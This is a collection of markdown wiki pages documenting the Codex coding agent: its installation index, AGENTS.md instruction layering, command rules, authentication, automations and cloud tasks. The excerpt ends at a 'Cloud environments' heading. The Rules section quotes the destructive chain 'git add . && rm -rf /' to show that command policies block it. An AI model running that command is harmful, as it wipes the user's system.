# Codex — full corpus



<!-- ===== codex/README.md ===== -->

# LLM Wiki

An open-source template for building LLM-powered knowledge bases, following [Andrej Karpathy's "LLM Wiki" pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f).

You provide raw sources. The LLM reads them, writes structured wiki pages, cross-links everything, and maintains it over time. You never edit the wiki directly — you curate sources and ask questions.

## How It Works

The system has three layers:

```
raw/              Sources you collect (articles, transcripts, notes, PDFs)
wiki/             LLM-written & maintained pages (summaries, concepts, entities, syntheses)
CLAUDE.md         Schema that tells the LLM how to structure everything
```

Three operations drive the workflow:

| Operation | Trigger | What happens |
|-----------|---------|--------------|
| **Ingest** | "ingest raw/my-source.txt" | LLM reads the source, creates a summary page, creates/updates concept and entity pages, adds cross-links, updates the index and log |
| **Query** | Ask any question | LLM searches the wiki, synthesizes an answer with citations, optionally creates a synthesis page for novel insights |
| **Lint** | "lint" or "health check" | LLM audits all pages for orphans, contradictions, missing links, incomplete sections, and low-confidence claims — fixes what it can, reports the rest |

## Quick Start

1. **Clone this repo**
   ```bash
   git clone https://github.com/YOUR_USERNAME/llm-wiki.git my-knowledge-base
   cd my-knowledge-base
   ```

2. **Customize CLAUDE.md** for your domain
   - Update the Purpose section with your topic
   - Replace the placeholder tagging taxonomy with your own categories
   - Adjust confidence level descriptions if needed
   - Everything else (workflows, page formats, linking rules) works as-is

3. **Drop sources into `raw/`**
   - Text files, transcripts, articles, notes — any plain text
   - These are immutable once added; the LLM never modifies them

4. **Tell the LLM to ingest**
   ```
   ingest raw/my-first-source.txt
   ```
   The LLM will create summary pages, concept pages, entity pages, cross-links, and update the index.

5. **Ask questions**
   ```
   What are the key differences between X and Y?
   ```
   The LLM answers from the wiki, citing specific pages.

6. **Run health checks**
   ```
   lint
   ```
   The LLM audits the wiki and fixes issues.

## Directory Structure

```
.
├── CLAUDE.md                      # Schema — the LLM's instructions
├── raw/                           # Your source documents (immutable)
└── wiki/
    ├── index.md                   # Master catalog of all pages
    ├── log.md                     # Append-only activity log
    ├── dashboard.md               # Dataview dashboard (Obsidian)
    ├── analytics.md               # Charts View analytics (Obsidian)
    ├── flashcards.md              # Spaced repetition cards
    ├── summaries/                 # One page per source document
    ├── concepts/                  # Concept and framework pages
    ├── entities/                  # People, tools, organizations, etc.
    ├── syntheses/                 # Cross-cutting analyses and comparisons
    ├── journal/                   # Research/session journal entries
    │   └── template.md            # Journal entry template
    └── presentations/             # Marp slide decks
```

## Enhancements

This template includes several extras beyond the core wiki pattern:

### Dataview Dashboard (`wiki/dashboard.md`)
Live queries that surface low-confidence pages, recent updates, concepts by tag, and pages with the most sources. Requires the [Dataview](https://github.com/blacksmithgu/obsidian-dataview) Obsidian plugin.

### Charts View Analytics (`wiki/analytics.md`)
Visual analytics with pie charts, bar charts, and word clouds. Requires the [Charts View](https://github.com/caronchen/obsidian-chartsview-plugin) Obsidian plugin.

### Mermaid Diagrams
Use Mermaid code blocks in any wiki page to create flowcharts, sequence diagrams, or concept maps. Native support in Obsidian and GitHub.

### Marp Slides (`wiki/presentations/`)
Create slide decks from markdown using [Marp](https://marp.app/). Drop presentation files in this directory.

### Research Journal (`wiki/journal/`)
Track your research sessions, experiments, or applied work with the included template. The LLM can reference journal entries when answering queries.

### Spaced Repetition (`wiki/flashcards.md`)
Flashcards in the format used by the [Spaced Repetition](https://github.com/st3v3nmw/obsidian-spaced-repetition) Obsidian plugin. Ask the LLM to generate flashcards from any wiki page.

### MCP Server
This repo works with Claude Code's MCP server capabilities. Point an MCP-compatible client at this repo and the LLM can read/write the wiki programmatically.

## Customizing for Your Domain

The schema in `CLAUDE.md` is domain-agnostic. To adapt it:

1. **Purpose** — Describe your knowledge domain in one paragraph
2. **Tagging taxonomy** — Replace placeholder categories with your own (e.g., for a cooking KB: `cuisine`, `technique`, `ingredient`, `equipment`)
3. **Confidence levels** — Adjust the descriptions to match your domain's evidence standards
4. **Entity types** — Update the entity page description to match what entities mean in your domain (people, tools, companies, etc.)
5. **Journal template** — Customize `wiki/journal/template.md` for your workflow

Everything else — page format, linking conventions, workflows, rules — is universal and works across domains.

## Example Domains

This template works for any knowledge-intensive topic:

- **Research notes** — papers, experiments, methodologies
- **Book analysis** — themes, characters, author techniques
- **Competitive analysis** — companies, products, market trends
- **Course notes** — lectures, readings, key concepts
- **Personal development** — frameworks, habits, book summaries
- **Technical documentation** — APIs, architectures, design patterns
- **Hobby deep-dives** — any subject you want to master

## License

MIT



<!-- ===== codex/wiki/index.md ===== -->

---
title: "Codex KB — Master Index"
type: index
updated: 2026-06-11
codex_version: "0.139.0"
---

# Codex KB — Master Index

Master catalog of all wiki pages. Every page in the wiki must have an entry here.

**Latest verified Codex version:** CLI 0.139.0 stable (2026-06-09); pre-release 0.140.0-alpha.4
**KB pages:** 35 (13 concepts + 9 entities + 6 summaries + 5 syntheses + 2 system)

## Concepts (13)

### Getting started & daily use
- [[concepts/installation-setup]] — install per surface and platform (incl. Windows paths), CODEX_HOME, diagnostics
- [[concepts/authentication]] — Sign in with ChatGPT vs API key, access tokens, headless login
- [[concepts/configuration]] — config.toml layers and precedence, profiles, env vars, feature flags
- [[concepts/agents-md]] — AGENTS.md discovery/merging, overrides, custom prompts, rules + execpolicy
- [[concepts/sandboxing-approvals]] — sandbox modes × approval policies, permission profiles, network controls
- [[concepts/memories-context]] — memories opt-in and storage, Chronicle, compaction and /fork
- [[concepts/non-interactive-exec]] — codex exec for scripts and CI: stdin, JSONL, output schemas

### Scaling & automating
- [[concepts/cloud-tasks]] — hosted cloud tasks, environments, worktrees, remote connections
- [[concepts/automations]] — scheduled/recurring automations and their execution modes
- [[concepts/mcp-integration]] — MCP servers in config.toml, transports, OAuth, tool policies
- [[concepts/subagents]] — built-in and custom subagents, orchestration limits
- [[concepts/skills-plugins]] — skills (progressive disclosure, scopes) + plugins and marketplaces
- [[concepts/enterprise-admin]] — requirements.toml vs managed_config.toml, RBAC, Codex Security, compliance

## Entities (9)

- [[entities/codex-app]] — desktop app: thread modes, shortcuts, settings, app server
- [[entities/codex-cli]] — the CLI: flags, slash commands, fast mode, cloud commands
- [[entities/codex-ide-extension]] — VS Code/Cursor/Windsurf + JetBrains: modes, commands, settings
- [[entities/codex-web]] — Codex cloud on the web + the Sites plugin
- [[entities/browser-integration]] — in-app browser, Chrome extension, computer use, Appshots
- [[entities/github-integrations]] — @codex review, the GitHub Action, auto-review, OSS fund
- [[entities/codex-sdk]] — TypeScript/Python SDKs, codex mcp-server, Agents SDK interop
- [[entities/codex-models]] — gpt-5.5/5.4/5.3-codex family, spark, deprecations, Bedrock option
- [[entities/chat-integrations]] — Codex in Slack and Linear

## Summaries (6)

- [[summaries/release-digest]] — 0.138.0/0.139.0 digest; release cadence and alpha-stub caveat
- [[summaries/casebook-auth-limits]] — solved cases: 401s, Windows sign-in, plan limits, metering anomalies
- [[summaries/casebook-runtime]] — solved cases: stream disconnects, hangs, bwrap approval spam, model routing, worktree handoff regression
- [[summaries/best-practices-prompting]] — prompting skeleton, plan/goal modes, escalation ladder
- [[summaries/community-source-batch-2026-06-11]] — prepared community-source ingest packet for limits, memories, workflows, and Windows sandbox field reports
- [[summaries/field-notes-windows-app]] — field-verified Windows app behavior: handoff missing, conditional worktree carry-over, permissions selector labels, surface-specific /status

## Syntheses (5)

- [[syntheses/surface-picker]] — app vs CLI vs IDE vs web vs cloud: pick by use case
- [[syntheses/sandbox-approval-guide]] — sandbox × approval matrix with verbatim config.toml presets
- [[syntheses/auth-plan-picker]] — ChatGPT plans vs API key: capabilities, limits, pricing
- [[syntheses/workflow-recipes]] — worktrees + handoff, AGENTS.md layering, automation patterns
- [[syntheses/troubleshooting-checklist]] — symptom router + 10-step ordered sequence

## Gaps / TODO

- Codex ships stable minors every 1–2 days — re-verify [[summaries/release-digest]] and bump `codex_version` each ingest; alpha releases carry no notes (don't re-fetch expecting content).
- The 2026 usage-metering anomaly and phone-verification loop were unresolved at fetch time (low-confidence in [[summaries/casebook-auth-limits]]) — refresh next ingest.
- Cloud-task pricing/credit consumption and concurrent-task limits not documented in fetched sources.
- `raw/llms_txt_doc-faq.md` is the Codex *Security* FAQ, not a general product FAQ — don't cite it for auth/plans.
- Community-source batch prepared on 2026-06-11; next ingest should process [[summaries/community-source-batch-2026-06-11]] source clusters before treating community claims as KB facts.
- **Handoff regression watch:** the Hand off control is missing from worktree threads (#14141 closed-unresolved; #15314 open) while official docs still describe the old flow — re-verify on each app release and update [[summaries/casebook-runtime]] E1–E2 / [[summaries/field-notes-windows-app]] when it returns.
- Field-note caveat: 2026-06-11 Windows observations are from a single machine and the app build number was not recorded — recapture version next session.

## Statistics

- **Total pages**: 35
- **Concepts**: 13
- **Entities**: 9
- **Summaries**: 6
- **Syntheses**: 5



<!-- ===== codex/wiki/concepts/agents-md.md ===== -->

---
title: "AGENTS.md Custom Instructions"
type: concept
tags: [agents-md, custom-instructions, rules, custom-prompts, project-guidance]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-custom-instructions-with-agents-md.md", "raw/github_doc-docs-agents-md-md.md", "raw/llms_txt_doc-custom-prompts.md", "raw/llms_txt_doc-rules.md"]
---

# AGENTS.md Custom Instructions

## Definition

`AGENTS.md` files are plain-Markdown instruction files Codex reads before doing any work. Layering a global file (in the Codex home) with project and subdirectory files gives every task consistent expectations, regardless of which repository you open. Related customization mechanisms covered here: **custom prompts** (deprecated slash-command Markdown files) and **rules** (experimental allow/prompt/forbid policies for commands outside the sandbox).

## How It Works

### Discovery order

Codex builds the instruction chain once per run (in the TUI, once per launched session):

1. **Global scope**: in `CODEX_HOME` (default `~/.codex`), Codex reads `AGENTS.override.md` if present, otherwise `AGENTS.md` — only the first non-empty file.
2. **Project scope**: starting at the project root (typically the Git root; configurable via `project_root_markers`), Codex walks down to the current working directory. In each directory it checks `AGENTS.override.md`, then `AGENTS.md`, then any names in `project_doc_fallback_filenames`. At most one file per directory. If no project root is found, only the current directory is checked.
3. **Merge order**: files are concatenated root-down, joined by blank lines. Files closer to your current directory appear later in the prompt, so they override broader guidance.

Empty files are skipped, and Codex stops adding files once the combined size hits `project_doc_max_bytes` (32 KiB default). Raise the limit or split instructions across nested directories when you hit the cap. Both knobs live in [[concepts/configuration]]:

```toml
# ~/.codex/config.toml
project_doc_fallback_filenames = ["TEAM_GUIDE.md", ".agents.md"]
project_doc_max_bytes = 65536
```

With that fallback list, per-directory check order becomes: `AGENTS.override.md`, `AGENTS.md`, `TEAM_GUIDE.md`, `.agents.md`. The open-source repo also documents a `child_agents_md` feature flag (`[features]` in `config.toml`) that appends extra guidance about AGENTS.md scope/precedence to the user instructions message, emitted even when no AGENTS.md exists.

### Format and scoping in practice

Global working agreements go in `~/.codex/AGENTS.md`; use `~/.codex/AGENTS.override.md` for a temporary global override without deleting the base file. Repository norms go in the repo-root `AGENTS.md`; team- or service-specific overrides go in nested directories, e.g. `services/payments/AGENTS.override.md` (a sibling `AGENTS.md` in that directory is then ignored). Content is ordinary Markdown — short imperative bullets work best:

```md
# AGENTS.md

## Repository expectations

- Run `npm run lint` before opening a pull request.
- Document public utilities in `docs/` when you change behavior.
```

Verify the chain loads as expected:

```bash
codex --ask-for-approval never "Summarize the current instructions."
codex --cd services/payments --ask-for-approval never "List the instruction sources you loaded."
```

To audit what loaded, enable a plaintext log with `codex -c log_dir=./.codex-log` and check `codex-tui.log`. Keeping AGENTS.md small also conserves usage limits — every byte is injected into the first turn ([[summaries/best-practices-prompting]]).

## Key Parameters

- `project_doc_max_bytes` — combined AGENTS.md byte cap (default 32 KiB); Codex stops adding files once it's hit.
- `project_doc_fallback_filenames` — extra per-directory filenames checked after `AGENTS.override.md` and `AGENTS.md`.
- `project_root_markers` — controls where Codex anchors the project root for the discovery walk.
- `CODEX_HOME` — home whose `AGENTS.md` / `AGENTS.override.md` provide global scope (default `~/.codex`).
- `[features] child_agents_md` — flag that appends extra AGENTS.md scope/precedence guidance to the user instructions message.
- `prefix_rule(pattern, decision, justification, match, not_match)` — Starlark rule fields; `decision` is `allow` (default), `prompt`, or `forbidden`.
- `~/.codex/rules/default.rules` — where TUI allow-listing and smart approvals write rules.
- `codex execpolicy check --pretty --rules <file> -- <command>` — rule test harness.
- `codex -c log_dir=./.codex-log` — plaintext log for auditing which instruction files loaded.

## Custom prompts (deprecated)

Custom prompts turned Markdown files under `~/.codex/prompts/` into slash commands (`/prompts:draftpr`) in the CLI and IDE extension. They are **deprecated — use skills instead** ([[concepts/skills-plugins]]), which can be shared via the repo and invoked implicitly. Mechanics, for existing users:

- One Markdown file per prompt, directly under `~/.codex/prompts/` (no subdirectories); restart Codex after edits.
- YAML frontmatter: `description:` (shown in the popup) and `argument-hint: KEY=<value>`.
- Placeholders: positional `$1`–`$9`, `$ARGUMENTS` for all, named uppercase like `$FILES` supplied as `KEY=value` (quote values with spaces), `$$` for a literal `$`.
- Invocation: `/prompts:draftpr FILES="src/pages/index.astro" PR_TITLE="Add hero animation"`.

## Rules (command policies)

Rules control which commands Codex may run **outside the sandbox** — they complement, not replace, AGENTS.md guidance. Experimental. Create `.rules` files (Starlark syntax) under a `rules/` folder next to any active config layer, e.g. `~/.codex/rules/default.rules`:

```python
prefix_rule(
    pattern = ["gh", "pr", "view"],
    decision = "prompt",   # allow (default) | prompt | forbidden
    justification = "Viewing PRs is allowed with approval",
    match = ["gh pr view 7888"],
    not_match = ["gh pr --repo openai/codex view 7888"],
)
```

Key behaviors:

- `pattern` matches an exact argument-list prefix; elements can be literals or unions (`["view", "list"]`). Most restrictive decision wins when rules overlap (`forbidden` > `prompt` > `allow`).
- `match`/`not_match` act as inline unit tests validated at load time.
- Codex safely splits simple `bash -lc` chains (plain words joined by `&&`, `||`, `;`, `|`) and evaluates each command separately — `git add . && rm -rf /` is never auto-allowed by a `git add` rule. Scripts with redirection, substitution, env assignments, wildcards, or control flow are evaluated as a single `["bash", "-lc", "<script>"]` invocation.
- Allow-listing a command in the TUI writes to `~/.codex/rules/default.rules`. Smart approvals (default on) may propose a `prefix_rule` during escalations — review before accepting.
- Test with: `codex execpolicy check --pretty --rules ~/.codex/rules/default.rules -- gh pr view 7888`.
- Project-local rules in `<repo>/.codex/rules/` load only for trusted projects; admins can enforce restrictive rules via `requirements.toml` ([[concepts/enterprise-admin]]).

Deeper sandbox/approval mechanics, including execpolicy, are in [[concepts/sandboxing-approvals]].

## When To Use

- **AGENTS.md**: persistent conventions — test commands, style, dependency policy, repo layout hints.
- **Rules**: targeted escapes or blocks for specific command prefixes outside the sandbox.
- **Skills** (not deprecated prompts): reusable, shareable procedures Codex can invoke itself.

## Risks & Pitfalls

- Wrong guidance loading usually means an `AGENTS.override.md` higher in the tree or in `CODEX_HOME` — overrides silently shadow regular files.
- Codex ignores empty files and stops at the byte cap; truncation drops the *later* (closer, more specific) files' content if earlier files are bloated.
- Fallback filenames not in `project_doc_fallback_filenames` are ignored entirely.
- A non-default `$CODEX_HOME` points discovery at a different home than the one you edited.
- Rules' `pattern` is a strict prefix — reordered flags (`gh pr --repo X view`) don't match.

## Related Concepts

- [[concepts/configuration]] — discovery knobs and feature flags
- [[concepts/sandboxing-approvals]] — where rules fit in the approval pipeline
- [[concepts/skills-plugins]] — successor to custom prompts
- [[concepts/memories-context]] — automatic memory vs authored instructions
- [[summaries/best-practices-prompting]] — writing effective guidance

## Sources

Official docs (high confidence): AGENTS.md guide, custom prompts page (with deprecation notice), rules page; repo `docs/agents_md.md` for the `child_agents_md` flag.



<!-- ===== codex/wiki/concepts/authentication.md ===== -->

---
title: "Authentication"
type: concept
tags: [authentication, chatgpt-login, api-key, access-tokens, plans, security]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-authentication.md", "raw/llms_txt_doc-access-tokens.md", "raw/github_doc-docs-authentication-md.md", "raw/llms_txt_doc-codex-pricing.md"]
---

# Authentication

## Definition

Codex supports two sign-in methods for OpenAI models: **Sign in with ChatGPT** (subscription access, included in every ChatGPT plan) and **sign in with an OpenAI API key** (usage-based billing at standard API rates). Codex cloud requires ChatGPT sign-in; the app, CLI, and IDE extension support both. A third credential type, **Codex access tokens**, exists for trusted enterprise automation.

## How It Works

### Sign in with ChatGPT

Default path for the CLI when no valid session exists. Codex opens a browser, you complete login, and the browser returns an access token to the CLI/extension. Usage then follows your ChatGPT workspace permissions, RBAC, and (Enterprise) retention/residency settings. If your environment already has a token:

```shell
printenv CODEX_ACCESS_TOKEN | codex login --with-access-token
```

### Sign in with an API key

Get a key from the OpenAI dashboard (`platform.openai.com/api-keys`). Billing goes through your Platform account at standard API rates instead of plan credits; data handling follows your API organization's settings. Recommended for programmatic CLI workflows such as CI/CD — but cloud-based features (Codex web, GitHub code review, Slack/Linear integrations, automations in the cloud) are unavailable, and new models like GPT-5.3-Codex arrive with a delay. Don't expose Codex execution in untrusted or public environments.

### Codex access tokens (Business/Enterprise)

Created in the ChatGPT admin console at `chatgpt.com/admin/access-tokens`; tied to the creating user and workspace, used as agent identities for non-interactive local runs (`codex exec` jobs, schedulers, private CI runners) that need ChatGPT workspace entitlements rather than an API org key. Two usage patterns:

```bash
# Ephemeral: env var only
export CODEX_ACCESS_TOKEN="<access-token>"
codex exec --json "review this repository and summarize the top risks"

# Persistent local login
printf '%s' "$CODEX_ACCESS_TOKEN" | codex login --with-access-token
```

Admin controls: **Allow members to use Codex Local** and **Allow members to use Codex access tokens** under Workspace Settings > Permissions & roles, plus an **Access token expiration limit**. Shortest custom expiration is one day; tokens are shown once at creation; owners/admins can revoke any workspace token, members only their own. If a Platform API key works for your automation, keep using it. See [[concepts/enterprise-admin]] and [[concepts/non-interactive-exec]].

## Key Parameters

### Plan requirements and what each unlocks

- **Free / Go / Plus / Pro**: every ChatGPT plan includes Codex; Plus ($20/mo) covers web, CLI, IDE, iOS plus cloud integrations; Pro (from $100/mo) gives 5x or 20x limits and GPT-5.3-Codex-Spark (research preview, Pro only).
- **Business / Enterprise & Edu**: admin controls, SAML SSO, MFA; Enterprise adds SCIM, EKM, RBAC, Compliance API, retention/residency. Access tokens are Business/Enterprise only.
- **API key**: CLI, SDK, IDE extension only — no Codex web, no cloud tasks, no GitHub/Slack/Linear integrations, no mobile remote control, no plugin sharing. Plus/Pro users who hit limits can buy credits or run extra local tasks on an API key.

See [[syntheses/auth-plan-picker]] for choosing, and [[summaries/casebook-auth-limits]] for real-world limit complaints.

### Credential storage

Login details are cached and shared between the CLI and IDE extension; logging out of one logs out both. Control the store via `config.toml`:

```toml
# file | keyring | auto
cli_auth_credentials_store = "keyring"
```

- `file` — plaintext `auth.json` under `CODEX_HOME` (defaults to `~/.codex`)
- `keyring` — OS credential store
- `auto` — keyring when available, else `auth.json`

Treat `~/.codex/auth.json` like a password: it contains access tokens. ChatGPT sessions auto-refresh tokens before expiry.

### Admin enforcement

Managed environments can force a method or workspace (usually via managed configuration, see [[concepts/enterprise-admin]]):

```toml
forced_login_method = "chatgpt" # or "api"
forced_chatgpt_workspace_id = "00000000-0000-0000-0000-000000000000"
```

Mismatched credentials cause Codex to log the user out and exit.

## When To Use

- **Sign in with ChatGPT** — the default for interactive work on any plan; required for Codex web, cloud tasks, GitHub/Slack/Linear integrations, and mobile remote control.
- **API key** — programmatic CLI/CI workflows billed per token, or extra local capacity when plan limits run out; accept losing cloud features and delayed access to new models.
- **Codex access tokens** — Business/Enterprise non-interactive automation (schedulers, private CI) that needs ChatGPT workspace entitlements; if a Platform API key already works, keep using it.

Full decision depth (plans, limits, feature matrix) in [[syntheses/auth-plan-picker]].

## Headless and constrained environments

When the browser flow can't work (remote/headless box, blocked localhost callback):

1. **Device code auth (beta, preferred)**: enable device code login in ChatGPT security settings (or workspace permissions), then run `codex login --device-auth` or pick **Sign in with Device Code** in the login UI.
2. **Copy the auth cache**: log in on a machine with a browser, then copy `~/.codex/auth.json` to the headless machine, e.g. `ssh user@remote 'mkdir -p ~/.codex && cat > ~/.codex/auth.json' < ~/.codex/auth.json`. Requires file-based storage. Works for Docker via `docker cp` too.
3. **SSH port-forward the callback**: `ssh -L 1455:localhost:1455 user@remote`, then `codex login` in that session (default callback `localhost:1455`).

Corporate TLS proxy / private root CA: set `CODEX_CA_CERTIFICATE` to a PEM bundle before `codex login` (falls back to `SSL_CERT_FILE` when unset); applies to login, HTTPS, and WebSockets. Login problems write a dedicated `codex-login.log` under your log directory.

## MFA for Codex cloud

Codex cloud requires stronger account security. Email+password logins must enable MFA before accessing Codex cloud — even if the account also has another login method. Social logins (Google/Microsoft/Apple) aren't forced but should enable provider MFA; SSO orgs should enforce MFA at the IdP.

## Alternative model providers

For a custom model provider in [[concepts/configuration]]: set `requires_openai_auth = true` to reuse OpenAI auth (useful behind an LLM proxy; `env_key` is then ignored), set `env_key = "<ENV_VARIABLE_NAME>"` to read a provider key from that environment variable, or set neither for unauthenticated local models.

## Risks & Pitfalls

- Leaked `auth.json` or access tokens allow runs as you — keep them out of git, logs, tickets, and shared chat; use secret managers and finite expirations for tokens.
- Untrusted runners (public CI, forked PRs) can exfiltrate tokens — trusted runners only.
- `codex login --with-access-token` failing usually means you pasted a session token or Platform API key instead of a Codex access token, or it expired/was revoked.
- Choosing API-key auth and then expecting cloud features is the most common plan-mismatch confusion.

## Related Concepts

- [[concepts/installation-setup]] — sign-in is step two of setup
- [[concepts/configuration]] — `cli_auth_credentials_store`, provider auth keys
- [[concepts/non-interactive-exec]] — auth for CI and scripts
- [[concepts/enterprise-admin]] — workspace controls, RBAC, managed config
- [[syntheses/auth-plan-picker]] — which plan/method to pick

## Sources

Official docs (high confidence): authentication guide, enterprise access tokens page, Codex pricing/feature-availability matrix.



<!-- ===== codex/wiki/concepts/automations.md ===== -->

---
title: "Automations"
type: concept
tags: [automations, scheduling, cron, background-tasks, app, skills]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-automations.md"]
---

# Automations

## Definition

Automations are scheduled, recurring Codex tasks that run unattended in the background of the Codex app. Runs with findings land in the **Triage** inbox in the automations pane; runs with nothing to report are auto-archived. Automations can use the same plugins and skills as interactive Codex, and pair naturally with [[concepts/skills-plugins]] for complex, shareable workflows.

## How It Works

There are two automation shapes:

- **Standalone (project) automations** start fresh runs on a schedule and report results in Triage. Use them when each run should be independent, or when one automation should run across one or more projects (the same automation can target multiple projects). For a custom cadence, choose a custom schedule and enter **cron syntax**.
- **Thread automations** are heartbeat-style recurring wake-up calls attached to the current thread — Codex keeps returning to the same conversation, preserving its context instead of starting from a fresh prompt. They support minute-based intervals for active follow-up loops, or daily/weekly schedules. Good for: checking a long-running command until it finishes, polling Slack/GitHub when results should stay in one thread, continuing a review loop, running a skill-driven workflow (e.g. PR babysitting via the GitHub plugin), or keeping an ongoing research/triage chat alive. Make the prompt durable: what to do on each wake-up, how to decide whether anything is worth reporting, and when to stop or ask for input.

**Where runs execute.** For project-scoped automations, the machine running the local Codex app must be powered on, Codex must be running, and the project must be on disk at the scheduled time. In Git repositories you choose per automation: run in your **local project** (can modify files you're actively editing) or on a dedicated background **worktree** (isolates automation changes from unfinished local work — see [[concepts/cloud-tasks]]). Non-version-controlled projects always run directly in the project directory.

**Model selection.** Leave model and reasoning effort on defaults, or set them explicitly per automation.

**Conversational management.** You can ask Codex itself, in a regular thread, to create or update automations — it drafts the prompt, picks the automation type (thread vs standalone), and updates scope or cadence later. Skills can also create automations: a PR-babysitting skill could set up a recurring automation that checks PR status and fixes new review feedback. Trigger a skill explicitly inside an automation prompt with `$skill-name`.

## Key Parameters

- **Automation type** — standalone (fresh run per schedule; can target multiple projects) vs thread (recurring wake-ups in one conversation).
- **Schedule** — preset cadences, or **cron syntax** for custom standalone schedules; thread automations also support minute-based intervals.
- **Run location** (Git repos only) — local project vs dedicated background worktree, chosen per automation.
- **Model and reasoning effort** — defaults, or set explicitly per automation.
- `approval_policy = "never"` — used when organization policy allows; otherwise runs fall back to your selected mode's approval behavior.
- Default sandbox mode (`read-only` / `workspace-write` / full access) — governs what unattended runs may do; rules can allowlist specific commands outside the sandbox.
- `$skill-name` — explicit skill trigger inside an automation prompt.
- `requirements.toml` — admin constraints on approval policies and sandbox modes ([[concepts/enterprise-admin]]).

## Permissions and security model

Automations run unattended under your **default sandbox settings** ([[concepts/sandboxing-approvals]]):

- **read-only**: tool calls fail if they need file writes, network, or apps — consider workspace write.
- **workspace-write**: tool calls fail outside the workspace, for network, or for apps; selectively allowlist commands to run outside the sandbox using rules.
- **full access**: elevated risk — Codex may change files, run commands, and access network without asking. Prefer workspace write plus rules that selectively grant full access to specific commands.

Automations use `approval_policy = "never"` when organization policy allows it. If admin requirements disallow `approval_policy = "never"` (via `requirements.toml`, see [[concepts/enterprise-admin]]), automations fall back to the approval behavior of your selected mode. Admins can also constrain allowed sandbox modes.

## Test before scheduling

Run the prompt manually in a regular thread first to confirm the prompt is clear and scoped, the model/reasoning/tools behave as expected, and the diff is reviewable. Then review the first few scheduled runs and adjust prompt or cadence.

## Example automations

Self-improving skills, from the official docs:

```markdown
Scan all of the `~/.codex/sessions` files from the past day and if there have been any issues using particular skills, update the skills to be more helpful. Personal skills only, no repo skills.

If there’s anything we’ve been doing often and struggle with that we should save as a skill to speed up future work, let’s do it.

Definitely don't feel like you need to update any- only if there's a good reason!

Let me know if you make any.
```

A daily exec briefing on the last 24h of commits in a directory (grouped by workstream, PR links inline, `gh` for PR titles/reviews) is another documented pattern. A third combines both features: create a `$recent-code-bugfix` skill (find and fix a bug introduced by your own commits in the last week), store it in personal skills, then schedule:

```markdown
Check my commits from the last 24h and submit a $recent-code-bugfix.
```

## When To Use

- Recurring hygiene: dependency or commit triage, daily briefings, skill maintenance.
- Active follow-up loops on one conversation (thread automation): deployments, PR feedback.
- Cross-project recurring checks (standalone automation on multiple projects).

For one-off background work without a schedule, plain worktree threads suffice ([[concepts/cloud-tasks]]).

## Risks & Pitfalls

- Unattended + full access is the riskiest combination Codex offers; the docs repeatedly steer you to workspace-write plus rules.
- Local-mode automations can change files you are mid-edit on.
- Frequent worktree schedules accumulate worktrees and disk usage — archive runs you don't need, and don't pin runs unless you intend to keep their worktrees.
- An automation silently does nothing if the host is off, Codex isn't running, or the project moved.

## Related Concepts

- [[concepts/cloud-tasks]] — worktrees that automations run on
- [[concepts/skills-plugins]] — `$skill-name` invocation inside automations
- [[concepts/sandboxing-approvals]] — sandbox modes governing unattended runs
- [[concepts/enterprise-admin]] — admin limits on `approval_policy = "never"`
- [[entities/codex-app]] — automations pane and Triage inbox

## Sources

Official docs (high confidence): the Codex app automations page, including its three worked examples.



<!-- ===== codex/wiki/concepts/cloud-tasks.md ===== -->

---
title: "Cloud Tasks & Environments"
type: concept
tags: [cloud, environments, worktrees, remote-connections, background-tasks, parallelism]
created: 2026-06-10
updated: 2026-06-11
confidence: high
sources: ["raw/llms_txt_doc-codex-web.md", "raw/llms_txt_doc-cloud-environments.md", "raw/llms_txt_doc-local-environments.md", "raw/llms_txt_doc-worktrees.md", "raw/llms_txt_doc-remote-connections.md", "raw/field-notes-windows-app-2026-06-11.md"]
---

# Cloud Tasks & Environments

## Definition

Codex can work outside your foreground checkout in three distinct ways, and the terms are easy to conflate. **Cloud tasks** run in OpenAI-hosted containers against a GitHub repo ([[entities/codex-web]]); **worktrees** run background threads locally in a second Git checkout managed by the Codex app; **remote connections** let one Codex App host be driven from your phone or another device, or attach to projects on an SSH box. "Cloud environments" configure the hosted container; "local environments" configure worktree setup in the app — same word, different machinery.

## How It Works

All three mechanisms trade your foreground checkout for an isolated execution context. A cloud task spins up an OpenAI-hosted container: the repo is checked out from GitHub at a branch or SHA, a setup script runs with internet access, then the agent loops over terminal commands (offline by default, behind an HTTP/HTTPS proxy when enabled) and returns an answer plus a diff; container state is cached up to 12 hours and resumed via an optional maintenance script. Worktrees keep everything local: the app creates a second Git checkout under `$CODEX_HOME/worktrees` in detached HEAD state, runs the project's `.codex` setup scripts to install dependencies, and lets a background thread work there without touching your branches — Handoff moves a thread between Local and Worktree. Remote connections move nothing: a relay carries prompts and approvals from your phone or another device to a host machine that executes everything with its own credentials, files, and tools.

## Key Parameters

- **Cloud environment image** — default `universal` container; pin runtime versions via **Set package versions** (reference Dockerfile: `openai/codex-universal`).
- **Setup script / maintenance script** — run on container creation / cached-container resume; setup always has internet access; `export` doesn't persist into the agent phase.
- **Environment variables vs secrets** — variables persist for the full task; secrets are decrypted only for setup scripts and removed before the agent phase.
- **Agent internet access** — off by default; limited (domain allowlist) or unrestricted per environment.
- **Container caching** — up to 12 hours; invalidated by script/env/secret changes or **Reset cache**; shared across users on Business/Enterprise.
- `.codex` folder at the project root — local-environment setup scripts (platform-specific variants) and one-click actions; can be checked into Git.
- `$CODEX_HOME/worktrees` — where managed worktrees live; most recent 15 kept, snapshotted before deletion; location not configurable.
- `~/.ssh/config` concrete `Host` alias — required for SSH hosts (pattern-only hosts are ignored); `codex` must be on the remote login shell's `PATH`.

## How a cloud task runs

Set up at `chatgpt.com/codex` by connecting your GitHub account (Plus, Pro, Business, Edu, and Enterprise plans include Codex; some Enterprise workspaces need [[concepts/enterprise-admin]] first). When you submit a task:

1. Codex creates a container and checks out your repo at the selected branch or commit SHA.
2. It runs your setup script, plus an optional maintenance script when a cached container is resumed.
3. It applies your internet access settings. Setup scripts run **with** internet access; agent internet access is **off by default** (limited or unrestricted access can be enabled).
4. The agent runs terminal commands in a loop — editing, running checks, validating. If the repo has an `AGENTS.md`, it uses it to find lint and test commands ([[concepts/agents-md]]).
5. It returns an answer plus a diff; you can open a PR or ask follow-ups.

Tasks can also be delegated from the IDE extension (cloud delegation) or by tagging `@codex` on GitHub issues and PRs ([[entities/github-integrations]]).

## Cloud environments

